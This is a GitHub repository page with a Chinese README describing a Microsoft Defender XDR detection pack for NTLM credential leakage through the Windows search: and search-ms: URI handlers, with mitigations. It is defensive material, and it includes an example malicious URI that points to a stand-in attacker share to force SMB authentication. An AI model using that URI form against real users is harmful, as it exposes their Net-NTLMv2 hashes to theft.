eliza-commit5/Unpatched-NTLM-Leakage-in-Windows-search-URI-Handler

GitHub: eliza-commit5/Unpatched-NTLM-Leakage-in-Windows-search-URI-Handler

提供 Microsoft Defender XDR 高级狩猎查询和自定义检测规则,用于识别和监控 Windows 搜索 URI 处理程序被滥用以泄漏 NTLM 凭据的攻击行为。

Stars: 0 | Forks: 0

# Windows 搜索 URI 处理程序中未修补的 NTLM 泄漏 针对 Windows 搜索 URI 处理程序中相关 NTLM 泄漏原语的主动威胁狩猎 2026/4/6 Microsoft Defender XDR 检测包:搜索 URI NTLM 凭据泄漏 概述 此仓库包含 Microsoft Defender XDR Advanced Hunting 查询和自定义检测规则,旨在识别滥用 Windows `search:` 和 `search-ms:` URI 处理程序进行 NTLM 凭据泄漏的行为。 开发此检测内容是为了应对公开披露的研究,这些研究表明,Windows 搜索 URI 处理程序可能会被滥用,通过 `crumb=location:` 参数提供的精心构造的 UNC 路径,触发向攻击者控制的系统发起出站 SMB 身份验证。 成功的攻击可能会暴露用户的 Net-NTLMv2 哈希,而无需恶意软件、权限提升或文件下载。 威胁摘要 攻击流程 ``` 1. User clicks a malicious link containing a search: or search-ms: URI. 2. Windows Explorer processes the URI through the SearchExecute COM handler. 3. The URI references a remote UNC path using crumb=location:\\attacker\share. 4. Windows automatically attempts SMB authentication. 5. The attacker captures the victim's Net-NTLMv2 challenge-response. ``` 示例: search:query=test&crumb=location:\\attacker\share MITRE ATT&CK 映射 技术 描述 T1187 强制身份验证 T1557 中间人攻击 T1110.002 密码破解 T1021.002 SMB/Windows 管理共享 推荐的 Defender 配置 自定义检测设置 设置 建议 1. 频率 每 5 分钟 2. 回溯 1-2 小时 3. 严重性 高 自动调查 已启用 事件创建 已启用 建议的缓解措施 阻止出站 SMB 防止工作站发起出站 SMB 连接: TCP/445 TCP/139 除非有明确要求。 强制执行 SMB 签名 减少 NTLM 中继攻击的机会。 限制 NTLM 使用 审查并逐步实施: RestrictSendingNTLMTraffic = 2 建议在强制执行前使用审计模式。 检测理念 此仓库专注于行为检测,而不是基于 CVE 的检测。 多个公开记录的 Windows URI 处理程序表现出类似的 NTLM 泄漏行为。防御者应检测底层技术,而不是仅仅依赖漏洞标识符或供应商提供服务的 CVE。 目标是识别: ``` • Forced authentication attempts • Unexpected SMB authentication • URI-handler abuse • NTLM credential exposure activity ``` 而不考虑所涉及的特定 Windows 组件。 免责声明 此仓库仅用于防御性安全、威胁狩猎、检测工程和事件响应目的。 在部署到生产环境之前,请务必在测试环境中验证检测结果。
标签:Microsoft Defender XDR, NTLM凭证泄露, 漏洞检测规则, 高级狩猎查询